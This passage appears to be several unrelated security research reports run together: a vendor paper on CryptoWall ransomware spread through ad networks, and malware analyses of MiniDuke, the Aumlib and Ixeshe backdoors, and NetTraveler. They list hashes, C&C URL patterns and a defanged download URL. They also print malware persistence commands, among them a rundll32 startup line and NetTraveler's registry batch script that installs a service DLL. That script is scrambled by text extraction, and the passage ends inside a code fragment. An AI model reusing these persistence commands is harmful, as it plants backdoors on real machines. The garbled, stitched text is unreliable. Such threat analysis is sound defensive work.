s disk and data files, including remote storage, then demands payment of anywhere from $300 to $1000 in return for the decryption key. Users are held hostage from their own work, pictures, personal, and proprietary material. To learn more about the scourage of ransomware, see this blog. Based on analysis of Invincea logs in would-be victims targeted by these ads, we have insight into the attacker that is delivering the malicious ads. According to Invincea analysis of ads delivered from first- impression.com, winning ad bids ranging from as low as 30 cents and as high as $1.70, were delivered by a block of unique identifiers. It is highly likely that the same attackers are using other RTB ad platforms. This campaign matches the characteristics described by Proofpoint in its blog in terms of the exploitation methods. Legitimate ad copy is stolen, 3rd party ad networks used to distribute malware, and popular ad- supported websites displaying the malicious ads that exploit unsuspecting visitors with drive-by web exploits. Merely visiting any ad-supported site may result in a CryptoWall ransomware infection. Cryptowall 2.0 utilizes the TOR network to hide its communications, but it quickly encrypts all local files on the disk, and demands bitcoin payment to unlock the files. Many companies have fallen prey to this attack over the past few months, making this one of the most successful Ransomware campaigns to date. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 27 Analysis of CryptoWall Malvertising Infections Mitigated Infection Event Sports.Yahoo.com Below is a typical Cryptowall 2 infection as seen in the Invincea Management Server logs. This winning ad placement ran on sports.yahoo.com an Alexa Top 4 rated site. Highlighted in order in Figure 22 is the common filename of obupdat.exe, which has ever changing hashes, followed by the TOR port, and the 3rd party ad platform of first-impression.com. Analysis (Original report): Figure 22: CryptoWall 2.0 infection report Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 28 Timeline Analysis (Original Report): Below in Figure 23 is the timeline of the Tor connections and SSL connections employed by CryptoWall. Figure 23: Network connections from CryptoWall 2.0 Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 29 In addition, you can see the ransom note being written to disk on an infected machine in the audit logs in Figure 24. Figure 24: File writes including the ransom note from CryptoWall infection Figure 25 shows the winning malvertising bid via RTB ad delivery from first-impression.com. Items highlighted in the URL below is userid, and the winning bid price to place malvertising of Cryptowall on sports.yahoo.com, which is 60 cents. Figure 25: Winning malvertising bid with fields embedded in URL Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 30 In Figure 26 below, we show the unique identifiers for the userID and campaigns to deliver CryptoWall malware that were blocked and audited by Invincea, including the websites that delivered the ads via a third-party ad network over the past month. userID, CampaignID and CommonName Website Delivering Malvertising 748568&margin=0.4&cid=155493&bn=wheelie Hotair.com 748568&margin=0.4&cid=155493&bn=wheeljack webmail comcast 748163&margin=0.4&cid=155330&bn=wheeljack theblaze.com 748566&margin=0.4&cid=155493&bn=redalert sports.yahoo.com 746705&margin=0.4&cid=154897&bn=dc16 (unknown) www.searchtempest.com 748480&margin=0.4&cid=155474&bn=redalert viewmixed.com 748600&margin=0.4&cid=155528&bn=inferno rr webmail 748418&margin=0.4&cid=155453&bn=inferno lucianne.com 748270&margin=0.4&cid=155380&bn=sj10 (skipjack) thanhniennews.com 748417&margin=0.4&cid=155453&bn=wheeljack mariowiki.com Figure 26: Malware campaigns delivered via 3rd party ad network and the websites that hosted the To reiterate, neither the websites listed here, nor the 3rd party ad network, necessarily was aware of the malicious ads they were serving to the website visitors. It is likely they were not aware without ad screening technology. In each event above, Invincea blocked an attempt to infect an endpoint with Cryptowall 2.0 and prevented CryptoWall from encrypting the user s file system and holding it hostage. Had the user not been running Invincea, the attack would likely have been successful, and the only way the user would have had to recover the encrypted files would be to pay the attacker the ransom. This is an effective ransom technique, and one that is paying off well for the attackers, who use the income from the attacks to purchase Real Time Ad Bids on RTB networks to infect more users. Central Hosting of Clean Content Most RTB ad providers allow for advertisers to host their own ad content. This allows advertisers to directly collect web impression data of who is hitting which ads, from where, by which IPs, which user- agent strings, and just about anything else you could log about a website visit. In addition, the advertising network doesn t have to utilize their own disk space to host the image files, the flash videos or other online content. RTB networks simply do the auctioneering and redirection to the winning content. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 31 It is this weakness in security that malvertisers are taking advantage of. If ad networks were to switch to a model where all content is actually hosted by them (1st party hosting), in a cloud, then the risk of malvertising would drop dramatically. The RubiconProject has a Seller s Cloud, which could be a security model for the RTB industry. It is inherently more secure way of hosting ad content. How to Protect Yourself from Micro-targeted Malvertising Operation DeathClick is an active campaign to micro-target companies via malvertising in order to compromise their networks. Unfortunately, the micro-targeting malvertising technique evades almost all network controls and traditional endpoint anti-virus solutions. Invincea can protect users from this attack type among other targeted and opportunistic web-based threats. For half the price of a candy bar, attackers have the unprecedented ability to deliver malware to you through your web browser simply because of your IP address space and your industry vertical. Most of the attacks featured here were not detected by standard Anti-Virus because the malware hashes constantly change. Web proxy blocking updates, even in real time, will not stop new malvertising landing pages that appear and disappear within minutes. Intelligence feeds from the premier intelligence providers, based on hostname, IP, URL or domain will not be able to block malicious malvertisers quickly enough. Invincea protected users can simply browse and click anything online without fear of compromise or targeted malvertising attacks. Non-Invincea users can attempt to OptOut of directed targeting where you can. European privacy laws for forcing most ad providers to offer the opt-out service; however, you often have to visit each ad provider individually to choose to opt out. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 32 Note, that opting out merely places a blocking cookie in your browser. This means that ad providers will not target or retarget based on cookies. But as shown above, the new targeted advertising is via IP intelligence. http://www.rubiconproject.com/privacy/consumer-online-profile-and-opt-out/ http://preferences-mgr.truste.com/ http://www.ghosteryenterprise.com/global-opt-out/ Release Notes 10/27: For clarification, Invincea has added additional notes in this version that the websites shown here and the 3rd party real-time ad networks are being used unwittingly and their resources misappropriated by malvertisers to target companies for persistent remote access, click fraud, and other nefarious activities. This is not a reflection on these companies, nor the services they provide. This paper highlights the problem for greater awareness so the industry collectively can combat this problem perhaps with more effective screening at the source prior to displaying ads. Invincea, Inc. Release Date: 10.27.2014 Miniduke still duking it out At the end of April Microsoft announced that a vulnerability in Word was actively being exploited. This vulnerability occurred in parsing RTF files and was assigned CVE-2014-1761, a thorough analysis of which can be found on the HP Security Research blog. We have since seen multiple cases where this exploit is used to deliver malware and one was particularly interesting as it contained a new variant of MiniDuke (also known as Win32/SandyEva). MiniDuke was first discussed by Kaspersky in March 2013 in their paper The MiniDuke Mystery: PDF 0- day Government Spy Assembler 0x29A Micro Backdoorand shortly after in a paper by Bitdefender. Some of the characteristics of MiniDuke such as its small size (20 KB), its crafty use of assembly programming, and the use of zero-day exploits for distribution made it an intriguing threat. Although the backdoor is still quite similar to its previous versions, some important changes were made since last year, the most notable being the introduction of a secondary component written in JScript to contact a C&C server via Twitter. The RTF exploit document The exploit document was named Proposal-Cover-Sheet-English.rtf and is quite bland when compared to the documents that were used in 2013, which were of a political nature. We received the document on April 8th, only three days after the compilation of the MiniDuke payload, dated April 5th in the PE header. The payload remains quite small at only 24 KB. The functionality of the shellcode which is executed by triggering the vulnerability is rather simple and straightforward. After decrypting itself and obtaining the addresses of some functions exported by kernel32.dll, it decrypts and drops the payload in the %TEMP% directory in a file named which is subsequently loaded by calling kernel32!LoadLibraryA. An interesting thing about the shellcode is that before transferring control to any API function it checks the first bytes of the function in order to detect hooks and debugger breakpoints which may be set by security software and monitoring tools. If any of these are found the shellcode skips the first 5 bytes of the function being called by manually executing prologue instructions (mov edi, edi; push ebp; mov ebp, esp) and then jumping to the function code as illustrated below. The next graph presents the execution flow of this malware when the exploitation is successful. As mentioned previously this version of the MiniDuke payload comes with two modules which we refer to as the main module and the TwitterJS module. Execution flow of MiniDuke Main Component Installation Once MiniDuke receives control it checks that the host process is not rundll32.exe and whether the current directory is %TEMP%. If either of those conditions is met the malware assumes it is run for the first time and it proceeds with its installation onto the system. MiniDuke gathers information about the system and encrypts its configuration based on that information, a method also used by OSX/Flashback (this process is called watermarking by Bitdefender). The end result is that it is impossible to retrieve the configuration of an encrypted payload if analyzing it on a different computer. The information collected on infection has not changed since the previous version and consists of the following values: volume serial number (obtained from kernel32!GetVolumeInformationA) CPU information (obtained with the cpuidinstruction) computer name (obtained from kernel32!GetComputerNameA) Once the encrypted version of the malware is created, it is written into a file in the %ALLUSERSPROFILE%\Application Data directory. The name of the file is randomly picked from the following values (you can find this listing and those of the next screenshots on the VirusRadar description: The filename extension is also picked randomly from the following list: To persist on the infected system after reboots, the malware creates a hidden .LNK file in the Startup directory pointing to the modified main module. The name of the .LNK file is randomly drawn from the following values: The .LNKfile is created using a COM object with the IShellLinkA interface and contains the following command: C:\Windows\system32\rundll32.exe %path_to_main_module%, export_function Which gives something like: C:\Windows\system32\rundll32.exe C:\DOCUME~1\ALLUSE~1\APPLIC~1\data.cat, IlqUenn Operation When the malware is loaded by rundll32.exe and the current directory isn t %TEMP%, the malware starts with gathering the same system information as described in the Installation section to decrypt configuration information. As with the previous version of MiniDuke, it checks for the presence of the following processes in the system: If any of these are found in the system the configuration information will be decrypted incorrectly, i.e. the malware will run on the system without any communication to C&C servers. If the configuration data is decrypted correctly, MiniDuke retrieves the Twitter page of @FloydLSchwartz in search of URLs by which to reach C&C server. It looks for the tag X))) on the page (MiniDuke was searching for uri! previous samples) and if the tag is found it decrypts a URL from the data that follows it. The Twitter account @FloydLSchwartz does exist but has only retweets and no strings with the special tag. As the next step, MiniDuke gathers the following information from the infected systems: computer name and user domain name country code of the infected host IP address obtained from http://www.geoiptool.com OS version information domain controller name, user name, groups a user account belongs to a list of AV products installed onto the system Internet proxy configuration version of MiniDuke This information is then sent to the C&C server along with the request to download a payload. The final URL used to communicate with the C&C server looks like this: /create.php?= Those tokens are derived as follows: url_start the URL retrieved from the twitter account rnd_param randomly generated of lower case alphabet characters parameter name in the query string of the URL system_info base64 encoded and encrypted system information An example of such a URL is given below: The payload is downloaded in the file named fdbywu using the urlmon!URLDownloadToFileA API: The downloaded payload is a fake GIF8 file containing encrypted executable. The malware processes the downloaded file in the same way as previous samples of MiniDuke: it verifies the integrity of the file using RSA-2048, then decrypts it, stores in a file and finally executes it. The RSA-2048 public key to verify integrity of the executable inside the GIF file is the same as in the previous version of MiniDuke. Twitter Generation Algorithm In the event that MiniDuke is unable to retrieve a C&C URL from this account, it generates a username to search for based on the current date. The search query changes roughly every seven days and is similar to the backup mechanism in previous versions that was using Google searches. A Python implementation of the algorithm can be found in Appendix B. TwitterJS component The TwitterJS module is extracted by creating a copy of the Windows DLL cryptdll.dll, injecting a block of code into it and redirecting the exported functions to this code. Here is how the export address table of the patched binary looks after modifications. This file is then stored in an Alternate Data Stream (ADS) in NTUSER.DAT in the %USERPROFILE% folder. Finally this DLL is registered as the Open command when a drive is open, which has the effect of starting the bot every time the user opens a disk drive. Below you can find the content of the init.cmd script used by MiniDuke to install TwitterJS module onto the system. When loaded, TwitterJS instantiates the JScript COM object and decrypts a JScript file containing the core logic of the module. Prior to executing it, MiniDuke applies a light encoding to the script: The next images show the result of two separate obfuscations, we can see that the variables have different values. This is probably done to thwart security systems that scan at the entry points of the JScript engine. Result of first obfuscation Result of second obfuscation The purpose of this script is to use Twitter to find a C&C and retrieve JScript code to execute. It first generates a Twitter user to search for; this search term changes every 7 days and is actually a match to the real account name, not the Twitter account name. The bot then visits the Twitter profiles returned by the search and looks for links that end with .xhtml . When one is found, it replaces .xhtml with .php and fetches that link. Information about the computer is embedded in the Accept HTTP header. The first link on the retrieved page should contain base64 data; the name attribute of the link is used as a rolling XOR key to decrypt the JScript code. Finally, MiniDuke calculates a hash of the fetched script and compares it with a hardcoded hash in the TwitterJS script. If they match, the fetched script is executed by calling eval(). The tale of the broken SHA-1 The code hashing algorithm used by the component looks very much like SHA-1 but outputs different hashes (you can find the complete implementation in Appendix B. We decided to search for what was changed in the algorithm; one of our working hypotheses was that the algorithm might have been altered to make collisions feasible. We couldn t find an obvious difference; all the constants and the steps of the algorithm were as expected. Then we noticed that for short messages only the second 32-bit word was different when compared to the original SHA-1. SHA1( test ) : a94a8fe5ccb19ba61c4c0873d391e987982fbbd3 TwitterJS_SHA1( test ) : a94a8fe5dce4f01c1c4c0873d391e987982fbbd3 By examining how this 2nd word was generated we finally discovered that this was caused by a scope issue. As shown below the SHA-1 function used a variable named f: the function Z() is then called which also uses a variable named f without the var keyword, causing it to be treated as a global variable rather than local to the function. The end result is that the value of f is also changed in the SHA-1 function which affects the value of the 2nd word for that round and ultimately the whole hash for long messages. A likely explanation of how this problem came to be is that the variable names were changed to single letters using an automated tool prior to embedding it in the payload. The 2 f variables probably had different names in the original script which avoided the issue. So this leaves us with two takeaways: 1) The difference in the hashing algorithm was unintentional and 2) Always declare your local variables with the var keyword. ;-) Twitter DGA accounts We generated the list of Twitter search terms for 2013-2014 and checked if any of those were registered. At the moment only one exists, @AA2ADcAOAA, which is the TwitterJS account that was generated between August 21st and 27th 2013. This account has no tweets. In an effort to discover potential victims, we registered the Twitter accounts corresponding to the current week both for the main and TwitterJS components and set up tweets with encrypted URLs so that an infected computer would reach out to our server. So far we have received connections via the TwitterJS accounts from four computers located in Belgium, France and the UK. We have contacted national CERTs to notify the affected parties. We detect the RTF exploit document as Win32/Exploit.CVE-2014-1761.D and the MiniDuke components as Win32/SandyEva.G. Appendix A: SHA-1 hashes SHA-1 Description 58be4918df7fbf1e12de1a31d4f622e570a81b93 RTF with Word exploit CVE-2014-1761 b27f6174173e71dc154413a525baddf3d6dea1fd MiniDuke main component (before config encryption) c059303cd420dc892421ba4465f09b892de93c77 TwitterJS javascript code Appendix B &C: DGA algorithms, Twitter DGA accounts The DGA scripts and account lists have been moved to our Github account : https://github.com/eset/malware-research/tree/master/miniduke Author ESET Research, ESET Survival of the Fittest: New York Times Attackers Evolve Quickly The attackers behind the breach of the New York Times computer network late last year appear to be mounting fresh assaults that leverage new and improved versions of malware. The new campaigns mark the first significant stirrings from the group since it went silent in January in the wake of a detailed expose of the group and its exploits and a retooling of what security researchers believe is a massive spying operation based in China [1]. The newest campaign uses updated versions of Aumlib and Ixeshe. Aumlib, which for years has been used in targeted attacks, now encodes certain HTTP communications. FireEye researchers spotted the malware when analyzing a recent attempted attack on an organization involved in shaping economic policy. And a new version of Ixeshe, which has been in service since 2009 to attack targets in East Asia, uses new network traffic patterns, possibly to evade traditional network security systems. The updates are significant for both of the longstanding malware families; before this year, Aumlib had not changed since at least May 2011, and Ixeshe had not evolved since at least December 2011. BACKGROUND Cybercriminals are constantly evolving and adapting in their attempts to bypass computer network defenses. But, larger, more successful threat actors tend to evolve at a slower rate. As long as these actors regularly achieve their objective (stealing sensitive data), they are not motivated to update or rethink their techniques, tactics, or procedures (TTPs). These threat actors tactics follow the same principles of evolution successful techniques propagate, and unsuccessful ones are abandoned. Attackers do not change their approach unless an external force or environmental shift compels them to. As the old saying goes: If it ain t broke, don t fix it. So when a larger, successful threat actor changes up tactics, the move always piques our attention. Naturally, our first priority is ensuring that we detect the new or altered TTPs. But we also attempt to figure out why the adversary changed what broke? so that we can predict if and when they will change again in the future. We observed an example of this phenomenon around May. About four months after The New York Times publicized an attack on its network, the attackers behind the intrusion deployed updated versions of their Backdoor.APT.Aumlib and Backdoor.APT.Ixeshe malware families [2]. The previous versions of Aumlib had not changed since at least May 2011, and Ixeshe had not evolved since at least December 2011. We cannot say for sure whether the attackers were responding to the scrutiny they received in the wake of the episode. But we do know the change was sudden. Akin to turning a battleship, retooling TTPs of large threat actors is formidable. Such a move requires recoding malware, updating infrastructure, and possibly retraining workers on new processes. The following sections detail the changes to Backdoor.APT.Aumlib and Backdoor.APT.Ixeshe. Backdoor.APT.Aumlib Aumlib has been used in targeted attacks for years. Older variants of this malware family generated the following POST request: POST /bbs/info.asp HTTP/1.1 Data sent via this POST request transmitted in clear text in the following structure: |||| A recently observed malware sample (hash value 832f5e01be536da71d5b3f7e41938cfb) appears to be a modified variant of Aumlib. The sample, which was deployed against an organization involved in shaping economic policy, was downloaded from the following URL: status[.]acmetoy[.]com/DD/myScript.js or status[.]acmetoy[.]com/DD/css.css The sample generated the following traffic: This output reveals the following changes when compared with earlier variants: The POST URI is changed to /bbs/search.asp (as mentioned, earlier Aumlib variants used a POST URI of /bbs/info.asp.) The POST body is now encoded. Additional requests from the sample generated the following traffic: These subtle changes may be enough to circumvent existing IDS signatures designed to detect older variants of the Aumlib family. The sample 832f5e01be536da71d5b3f7e41938cfb shares code with an older Aumlib variant with the hash cb3dcde34fd9ff0e19381d99b02f9692. The sample cb3dcde34fd9ff0e19381d99b02f9692 connected to documents[.]myPicture[.]info and www[.]documents[.]myPicture[.]info and as expected generated the a POST request to /bbs/info.asp. Backdoor.APT.Ixeshe Ixeshe has been used in targeted attacks since 2009, often against entities in East Asia [3]. Although the network traffic is encoded with a custom Base64 alphabet, the URI pattern has been largely consistent: /[ACD] [EW]S[Numbers].jsp?[Base64] We analyzed a recent sample that appears to have targeted entities in Taiwan, a target consistent with previous Ixeshe activity. This sample (aa873ed803ca800ce92a39d9a683c644) exhibited network traffic that does not match the earlier pattern and therefore may evade existing network traffic signatures designed to detect Ixeshe related infections. The Base64-encoded data still contains information including the victim s hostname and IP address but also a mark or campaign tag/code that the threat actors use to keep track of their various attacks. The mark for this particular attack was [ll65]. CONCLUSION Based on our observations, the most successful threat actors evolve slowly and deliberately. So when they do change, pay close attention. Knowing how attackers strategy is shifting is crucial to detecting and defending against today s advanced threats. But knowing the is equally important. That additional degree of understanding can help organizations forecast when and how a threat actor might change their behavior because if you successfully foil their attacks, they probably will. Notes [1] http://www.nytimes.com/2013/01/31/technology/chinese-hackers-infiltrate-new-york-times- computers.html?pagewanted=all [2] This actor is known as APT12 by Mandiant [3] http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white- papers/wp_ixeshe.pdf This entry was posted in Threat Intelligence, Threat Research by Ned Moran and Nart Villeneuve. Bookmark the permalink. NetTraveler APT Gets a Makeover for 10th Birthday We have written about NetTraveler before HERE and HERE. Earlier this year, we observed an uptick in the number of attacks against Uyghur and Tibetan supporters using an updated version of the NetTraveler backdoor. Here's an example of a targeted spear-phishing e-mail directed at Uyghur activists in March 2014. The e-mail has two attachments, a non-malicious JPG file and a 373 KB Microsoft Word .DOC file. "Sabiq sot xadimi gulnar abletning qeyin-Qistaqta olgenliki File name ashkarilanmaqta.doc" MD5 b2385963d3afece16bd7478b4cf290ce Size 381,667 bytes The .DOC file, which in reality is a "Single File Web Page" container, also known as "Web archive file", appears to have been created on a system using Microsoft Office - Simplified Chinese. It contains an exploit for the CVE-2012-0158 vulnerability, detected by Kaspersky Lab products as Exploit.MSWord.CVE-2012-0158.db. If run on a vulnerable version of Microsoft Office, it drops the main module as "net.exe" (detected by Kaspersky Lab products as Trojan-Dropper.Win32.Agent.lifr), which in turn installs a number of other files. The main C&C module is dumped into "%SystemRoot%\system32\Windowsupdataney.dll", (detected by Kaspersky as Trojan- Spy.Win32.TravNet.qfr). Name WINDOWSUPDATANEY.DLL MD5 c13c79ad874215cfec8d318468e3d116 Size 37,888 bytes It is registered as a service (named "Windowsupdata") through a Windows Batch file named "DOT.BAT" (detected by Kaspersky Lab products as Trojan.BAT.Tiny.b): @echo off @reg add "HKEY_LOCAL_MACHINE\ SOFTWARE\Microsoft\Win dows@echo off NT\CurrentVersion\Svcho st" @reg /v Windowsupdata /t add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v REG_MULTI_SZ /d Windowsupdata Windowsupdata /f /t REG_MULTI_SZ /d Windowsupdata /f @reg add @reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata" /v "HKEY_LOCAL_MACHINE\ ImagePath /t REG_EXPAND_SZ /d %SystemRoot%\System32\svchost.exe -k Windowsupdata /f SYSTEM\CurrentControlSe t\Services\Windowsupdat a" /v ImagePath @reg /t add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata" /v REG_EXPAND_SZ /d DisplayName %SystemRoot%\System32 /t REG_SZ /d Windowsupdata /f \svchost.exe -k @reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata" Windowsupdata /f /v @regObjectName add /t REG_SZ /d LocalSystem /f "HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSe @reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata" /v t\Services\Windowsupdat ErrorControl /t REG_DWORD /d 1 /f a" /v DisplayName /t REG_SZ /d @reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata" Windowsupdata /f /v Start /t @regREG_DWORD add /d 2 /f "HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSe @reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata\Parameters" t\Services\Windowsupdat /v ServiceDll /t REG_EXPAND_SZ /d %SystemRoot%\system32\Windowsupdataney.dll /f a" /v ObjectName /t REG_SZ /d LocalSystem /f @reg add To make sure the malware isn't running multiple times, it uses the mutex "SD_2013 Is Running!" to mark "HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSe its presence in the system. Other known mutexes used by older and current variants include: t\Services\Windowsupdat a" /v ErrorControl /t REG_DWORD /d 1 /f @reg addBoat-12 Is Running! "HKEY_LOCAL_MACHINE\ DocHunter2012 Is Running! SYSTEM\CurrentControlSe t\Services\Windowsupdat Hunter-2012 Is Running! a" /v Start /t REG_DWORD /d 2 /fNT-2012 Is Running! @reg add "HKEY_LOCAL_MACHINE\ NetTravler Is Running! NetTravler2012 Is Running! SH-2011 Is Running! ShengHai Is Running! SD2013 is Running! The malware configuration file is written to the "SYSTEM" folder (as opposed to SYSTEM32) and has a slightly new format compared to "older" NetTraveler samples: For the record, here's what an older NetTraveler config file looks like: Obviously, the developers behind NetTraveler have taken steps to try to hide the malware's configuration. Luckily, the encryption is relatively simple to break. The algorithm is as follows: for (i=0;i